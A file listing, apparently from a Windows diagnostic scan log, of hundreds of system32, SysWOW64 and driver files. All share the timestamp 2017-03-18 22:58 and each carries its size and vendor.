2017-03-18 22:58 - 2017-03-18 22:58 - 00098304 _____ C:\windows\system32\WindowsDefaultHeatProcessor.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00098304 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlgpclnt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00098304 _____ (Microsoft Corporation) C:\windows\SysWOW64\msoert2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00098304 _____ (Microsoft Corporation) C:\windows\SysWOW64\avifil32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00098304 _____ (Microsoft Corporation) C:\windows\system32\wshext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00098304 _____ (Microsoft Corporation) C:\windows\system32\mobsync.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00098304 _____ (Microsoft Corporation) C:\windows\system32\ActiveSyncCsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00097792 _____ (Microsoft Corporation) C:\windows\SysWOW64\txflog.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00097792 _____ (Microsoft Corporation) C:\windows\SysWOW64\setupcln.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00097792 _____ (Microsoft Corporation) C:\windows\SysWOW64\olecli32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00097792 _____ (Microsoft Corporation) C:\windows\SysWOW64\logman.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00097792 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00097792 _____ (Microsoft Corporation) C:\windows\system32\Drivers\raspptp.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00097280 _____ (Microsoft Corporation) C:\windows\SysWOW64\VEDataLayerHelpers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00097280 _____ (Microsoft Corporation) C:\windows\system32\winhttpcom.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00097280 _____ (Microsoft Corporation) C:\windows\system32\UserAccountControlSettings.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00097280 _____ (Microsoft Corporation) C:\windows\system32\SensorsNativeApi.V2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00096768 _____ (Microsoft Corporation) C:\windows\SysWOW64\ntdsapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00096768 _____ (Microsoft Corporation) C:\windows\SysWOW64\fontsub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00096768 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmcfgutils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00096768 _____ (Microsoft Corporation) C:\windows\SysWOW64\comrepl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00096768 _____ (Microsoft Corporation) C:\windows\system32\MapsCSP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00096768 _____ (Microsoft Corporation) C:\windows\system32\Family.Cache.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00096256 _____ (Microsoft Corporation) C:\windows\SysWOW64\IdCtrls.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00096256 _____ (Microsoft Corporation) C:\windows\system32\powercfg.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00095584 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmcmnutils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00095232 _____ (Microsoft Corporation) C:\windows\SysWOW64\iscsiwmiv2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00095232 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmscript.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00094720 _____ (Microsoft Corporation) C:\windows\SysWOW64\winrscmd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00094720 _____ (Microsoft Corporation) C:\windows\SysWOW64\mapistub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00094720 _____ (Microsoft Corporation) C:\windows\SysWOW64\mapi32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00094720 _____ (Microsoft Corporation) C:\windows\SysWOW64\fphc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00094720 _____ (Microsoft Corporation) C:\windows\system32\WSDPrintProxy.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00094720 _____ (Microsoft Corporation) C:\windows\system32\DeviceProperties.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00094720 _____ (Microsoft Corporation) C:\windows\system32\cryptsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00094208 _____ (Microsoft Corporation) C:\windows\SysWOW64\usbceip.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00094208 _____ (Microsoft Corporation) C:\windows\SysWOW64\sqlsrv32.rll
2017-03-18 22:58 - 2017-03-18 22:58 - 00094208 _____ (Microsoft Corporation) C:\windows\SysWOW64\InputLocaleManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00094208 _____ (Microsoft Corporation) C:\windows\SysWOW64\AuthBrokerUI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00094208 _____ (Microsoft Corporation) C:\windows\system32\wiaacmgr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00094208 _____ (Microsoft Corporation) C:\windows\system32\taskkill.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00093702 _____ C:\windows\SysWOW64\SubRange.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00093702 _____ C:\windows\system32\SubRange.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00093696 _____ (Microsoft Corporation) C:\windows\SysWOW64\TSpkg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00093696 _____ (Microsoft Corporation) C:\windows\system32\spcompat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00093696 _____ (Microsoft Corporation) C:\windows\system32\keyiso.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00093696 _____ (Microsoft Corporation) C:\windows\system32\InputInjectionBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00093536 _____ (Microsoft Corporation) C:\windows\SysWOW64\bcrypt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00092746 _____ C:\windows\SysWOW64\services.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00092672 _____ (Microsoft Corporation) C:\windows\SysWOW64\mobsync.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00092672 _____ (Microsoft Corporation) C:\windows\SysWOW64\kstvtune.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00092672 _____ (Microsoft Corporation) C:\windows\system32\LicenseManagerApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00092672 _____ (Microsoft Corporation) C:\windows\system32\DevicePairingWizard.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00092672 _____ (Microsoft Corporation) C:\windows\system32\alg.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00092512 _____ (Microsoft Corporation) C:\windows\SysWOW64\EncDump.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00092160 _____ (Microsoft Corporation) C:\windows\SysWOW64\wkspbrokerAx.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00092160 _____ (Microsoft Corporation) C:\windows\system32\MosHostClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00091648 _____ (Microsoft Corporation) C:\windows\SysWOW64\radardt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00091648 _____ (Microsoft Corporation) C:\windows\SysWOW64\msctfp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00091648 _____ (Microsoft Corporation) C:\windows\SysWOW64\joy.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00091648 _____ (Microsoft Corporation) C:\windows\system32\wercplsupport.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00091648 _____ (Microsoft Corporation) C:\windows\system32\spoolss.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00091648 _____ (Microsoft Corporation) C:\windows\system32\ProvPluginEng.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00091648 _____ (Microsoft Corporation) C:\windows\system32\packager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00091136 _____ (Microsoft Corporation) C:\windows\system32\wpbcreds.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00091136 _____ (Microsoft Corporation) C:\windows\system32\UXInit.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00091136 _____ (Microsoft Corporation) C:\windows\system32\updatecsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00091136 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_AppControl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00091136 _____ (Microsoft Corporation) C:\windows\system32\InternetMailCsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00090624 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.ApplicationModel.Background.SystemEventsBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00090624 _____ (Microsoft Corporation) C:\windows\SysWOW64\wiascanprofiles.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00090624 _____ (Microsoft Corporation) C:\windows\SysWOW64\msctfui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00090624 _____ (Microsoft Corporation) C:\windows\system32\TelephonyInteractiveUser.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00090624 _____ (Microsoft Corporation) C:\windows\system32\moshost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00090624 _____ (Microsoft Corporation) C:\windows\system32\GameChatTranscription.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00090456 _____ (Microsoft Corporation) C:\windows\SysWOW64\msacm32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00090112 _____ (Microsoft Corporation) C:\windows\SysWOW64\olethk32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00090112 _____ (Microsoft Corporation) C:\windows\SysWOW64\eappgnui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00090112 _____ (Microsoft Corporation) C:\windows\system32\OnDemandConnRouteHelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00090112 _____ (Microsoft Corporation) C:\windows\system32\ofdeploy.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00089600 _____ (Microsoft Corporation) C:\windows\SysWOW64\fdSSDP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00089600 _____ (Microsoft Corporation) C:\windows\SysWOW64\DafPrintProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00089504 _____ (Microsoft Corporation) C:\windows\SysWOW64\nlsbres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00089088 _____ (Microsoft Corporation) C:\windows\SysWOW64\wdi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00089088 _____ (Microsoft Corporation) C:\windows\SysWOW64\secproc_ssp_isv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00089088 _____ (Microsoft Corporation) C:\windows\SysWOW64\secproc_ssp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00089088 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Printers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00088576 _____ (Microsoft Corporation) C:\windows\SysWOW64\adsmsext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00088576 _____ (Microsoft Corporation) C:\windows\system32\Windows.Gaming.UI.GameBar.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00088064 _____ (Microsoft Corporation) C:\windows\SysWOW64\TpmInit.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00088064 _____ (Microsoft Corporation) C:\windows\SysWOW64\profext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00088064 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.Diagnostics.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00088064 _____ (Microsoft Corporation) C:\windows\system32\NcdAutoSetup.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00087968 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmifw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00087552 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserAccountControlSettings.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00087552 _____ (Microsoft Corporation) C:\windows\SysWOW64\usbui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00087552 _____ (Microsoft Corporation) C:\windows\SysWOW64\remotesp.tsp
2017-03-18 22:58 - 2017-03-18 22:58 - 00087552 _____ (Microsoft Corporation) C:\windows\SysWOW64\dot3msm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00087552 _____ (Microsoft Corporation) C:\windows\system32\XblAuthTokenBrokerExt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00087552 _____ (Microsoft Corporation) C:\windows\system32\MosStorage.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00087552 _____ (Microsoft Corporation) C:\windows\system32\execmodelproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00087552 _____ (Microsoft Corporation) C:\windows\system32\BarcodeProvisioningPlugin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00087360 _____ (Microsoft Corporation) C:\windows\SysWOW64\rmclient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00087040 _____ (Microsoft Corporation) C:\windows\system32\Windows.CloudStore.Schema.DesktopShell.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00086528 _____ C:\windows\SysWOW64\WindowsDefaultHeatProcessor.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00086528 _____ (Microsoft Corporation) C:\windows\SysWOW64\CameraCaptureUI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00086528 _____ (Microsoft Corporation) C:\windows\system32\StorageContextHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00086528 _____ (Microsoft Corporation) C:\windows\system32\SettingSyncPolicy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00086528 _____ (Microsoft Corporation) C:\windows\system32\PeopleAPIs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00086296 _____ (Microsoft Corporation) C:\windows\SysWOW64\mpr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00086016 _____ C:\windows\system32\DataStoreCacheDumpTool.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00086016 _____ (Radius Inc.) C:\windows\SysWOW64\iccvid.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00086016 _____ (Microsoft Corporation) C:\windows\SysWOW64\spfileq.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00085816 _____ (Microsoft Corporation) C:\windows\SysWOW64\ResourcePolicyClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00085504 _____ (Microsoft Corporation) C:\windows\SysWOW64\updatepolicy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00085504 _____ (Microsoft Corporation) C:\windows\system32\UserAccountControlSettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00085504 _____ (Microsoft Corporation) C:\windows\system32\hascsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00084992 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Networking.ServiceDiscovery.Dnssd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00084992 _____ (Microsoft Corporation) C:\windows\SysWOW64\samlib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00084992 _____ (Microsoft Corporation) C:\windows\SysWOW64\psisrndr.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00084992 _____ (Microsoft Corporation) C:\windows\SysWOW64\INETRES.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00084992 _____ (Microsoft Corporation) C:\windows\SysWOW64\fingerprintcredential.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00084992 _____ (Microsoft Corporation) C:\windows\system32\WinMsoIrmProtector.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00084480 _____ (Microsoft Corporation) C:\windows\SysWOW64\wiaacmgr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00084480 _____ (Microsoft Corporation) C:\windows\SysWOW64\mciavi32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00084480 _____ (Microsoft Corporation) C:\windows\system32\Windows.Shell.ServiceHostBuilder.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00083968 _____ (Microsoft Corporation) C:\windows\SysWOW64\SensorsNativeApi.V2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00083968 _____ (Microsoft Corporation) C:\windows\SysWOW64\fidocredprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00083968 _____ (Microsoft Corporation) C:\windows\SysWOW64\davclnt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00083968 _____ (Microsoft Corporation) C:\windows\system32\SystemPropertiesRemote.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00083968 _____ (Microsoft Corporation) C:\windows\system32\SystemPropertiesProtection.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00083968 _____ (Microsoft Corporation) C:\windows\system32\SystemPropertiesPerformance.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00083968 _____ (Microsoft Corporation) C:\windows\system32\SystemPropertiesHardware.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00083968 _____ (Microsoft Corporation) C:\windows\system32\SystemPropertiesDataExecutionPrevention.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00083968 _____ (Microsoft Corporation) C:\windows\system32\SystemPropertiesComputerName.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00083968 _____ (Microsoft Corporation) C:\windows\system32\SystemPropertiesAdvanced.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00083456 _____ (Microsoft Corporation) C:\windows\system32\getmac.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00083456 _____ (Microsoft Corporation) C:\windows\system32\eUICCsCSP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00083224 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Security.Credentials.UI.CredentialPicker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00083224 _____ (Microsoft Corporation) C:\windows\SysWOW64\PickerHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\SysWOW64\SystemPropertiesRemote.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\SysWOW64\SystemPropertiesProtection.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\SysWOW64\SystemPropertiesPerformance.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\SysWOW64\SystemPropertiesHardware.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\SysWOW64\SystemPropertiesDataExecutionPrevention.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\SysWOW64\SystemPropertiesComputerName.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\SysWOW64\SystemPropertiesAdvanced.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\SysWOW64\regapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\SysWOW64\ngcksp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\SysWOW64\netsh.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\SysWOW64\ndfhcdiscovery.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\SysWOW64\DevicePairingWizard.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\system32\mspatchc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00082944 _____ (Microsoft Corporation) C:\windows\system32\frprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00082848 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.StateRepositoryBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00082432 _____ (Microsoft Corporation) C:\windows\SysWOW64\winhttpcom.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00082432 _____ (Microsoft Corporation) C:\windows\SysWOW64\powercfg.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082432 _____ (Microsoft Corporation) C:\windows\SysWOW64\dot3api.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00082432 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmstp.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082432 _____ (Microsoft Corporation) C:\windows\system32\PersonalizationCSP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00082432 _____ (Microsoft Corporation) C:\windows\system32\licensingdiag.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00082432 _____ (Microsoft Corporation) C:\windows\system32\KdsCli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00082432 _____ (Microsoft Corporation) C:\windows\system32\HttpsDataSource.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00082432 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rspndr.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00082160 _____ (Microsoft Corporation) C:\windows\SysWOW64\devenum.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00081920 _____ (Microsoft Corporation) C:\windows\SysWOW64\spinf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00081920 _____ (Microsoft Corporation) C:\windows\SysWOW64\SimCfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00081920 _____ (Microsoft Corporation) C:\windows\SysWOW64\packager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00081920 _____ (Microsoft Corporation) C:\windows\system32\wiarpc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00081920 _____ (Microsoft Corporation) C:\windows\system32\CloudDomainJoinAUG.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00081648 _____ (Microsoft Corporation) C:\windows\system32\RuntimeBroker.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00081408 _____ (Microsoft Corporation) C:\windows\SysWOW64\eventvwr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00081408 _____ (Microsoft Corporation) C:\windows\SysWOW64\atl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00081408 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppCapture.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00081408 _____ (Microsoft Corporation) C:\windows\system32\wwanprotdim.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00081408 _____ (Microsoft Corporation) C:\windows\system32\rdvvmtransport.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00081408 _____ (Microsoft Corporation) C:\windows\system32\efslsaext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00081408 _____ (Microsoft Corporation) C:\windows\system32\Drivers\wanarp.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00081176 _____ (Microsoft Corporation) C:\windows\SysWOW64\win32u.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00080896 _____ (Microsoft Corporation) C:\windows\SysWOW64\PlaySndSrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00080896 _____ (Microsoft Corporation) C:\windows\system32\provdatastore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00080896 _____ (Microsoft Corporation) C:\windows\system32\feclient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00080384 _____ (Microsoft Corporation) C:\windows\SysWOW64\wshext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00080384 _____ (Microsoft Corporation) C:\windows\SysWOW64\Mpeg2Data.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00080384 _____ (Microsoft Corporation) C:\windows\SysWOW64\amstream.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00080112 _____ (Microsoft Corporation) C:\windows\system32\LockAppHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00079872 _____ (Microsoft Corporation) C:\windows\SysWOW64\wudriver.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00079872 _____ (Microsoft Corporation) C:\windows\SysWOW64\wevtfwd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00079872 _____ (Microsoft Corporation) C:\windows\system32\WwanRadioManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00079872 _____ (Microsoft Corporation) C:\windows\system32\WinOpcIrmProtector.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00079872 _____ (Microsoft Corporation) C:\windows\system32\Drivers\storqosflt.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00079872 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rassstp.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00079696 _____ (Microsoft Corporation) C:\windows\system32\cryptsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00079360 _____ (Microsoft Corporation) C:\windows\SysWOW64\wecutil.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00079360 _____ (Microsoft Corporation) C:\windows\SysWOW64\CallButtons.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00079360 _____ (Microsoft Corporation) C:\windows\system32\Syncreg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00079360 _____ (Microsoft Corporation) C:\windows\system32\sihost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00079360 _____ (Microsoft Corporation) C:\windows\system32\NetCfgNotifyObjectHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00079360 _____ (Microsoft Corporation) C:\windows\system32\LocationFrameworkInternalPS.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00079360 _____ (Microsoft Corporation) C:\windows\system32\DpiScaling.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00078848 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00078848 _____ (Microsoft Corporation) C:\windows\system32\ngctasks.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00078848 _____ (Microsoft Corporation) C:\windows\system32\enterpriseresourcemanager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00078616 _____ (Microsoft Corporation) C:\windows\system32\wkscli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00078336 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlanext.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00078336 _____ (Microsoft Corporation) C:\windows\SysWOW64\Query.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00078336 _____ (Microsoft Corporation) C:\windows\SysWOW64\bootcfg.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00078336 _____ (Microsoft Corporation) C:\windows\system32\XblAuthManagerProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00078336 _____ (Microsoft Corporation) C:\windows\system32\wwancfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00078336 _____ (Microsoft Corporation) C:\windows\system32\mbussdapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00078064 _____ (Microsoft Corporation) C:\windows\SysWOW64\winbrand.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00077824 _____ (Microsoft Corporation) C:\windows\SysWOW64\usp10.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00077824 _____ (Microsoft Corporation) C:\windows\SysWOW64\nslookup.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00077824 _____ (Microsoft Corporation) C:\windows\SysWOW64\cliconfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00077824 _____ (Microsoft Corporation) C:\windows\system32\wsqmcons.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00077824 _____ (Microsoft Corporation) C:\windows\system32\RDSAppXHelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00077824 _____ (Microsoft Corporation) C:\windows\system32\playlistfolder.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00077312 _____ (Microsoft Corporation) C:\windows\SysWOW64\WSTPager.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00077312 _____ (Microsoft Corporation) C:\windows\SysWOW64\spbcd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00077312 _____ (Microsoft Corporation) C:\windows\SysWOW64\DpiScaling.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00077312 _____ (Microsoft Corporation) C:\windows\system32\zipcontainer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00077312 _____ (Microsoft Corporation) C:\windows\system32\UiaManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00077312 _____ (Microsoft Corporation) C:\windows\system32\samcli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00077312 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vwififlt.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00077312 _____ (Microsoft Corporation) C:\windows\system32\DocumentPerformanceEvents.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00076800 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.Diagnostics.TraceReporting.PlatformDiagnosticActions.dll
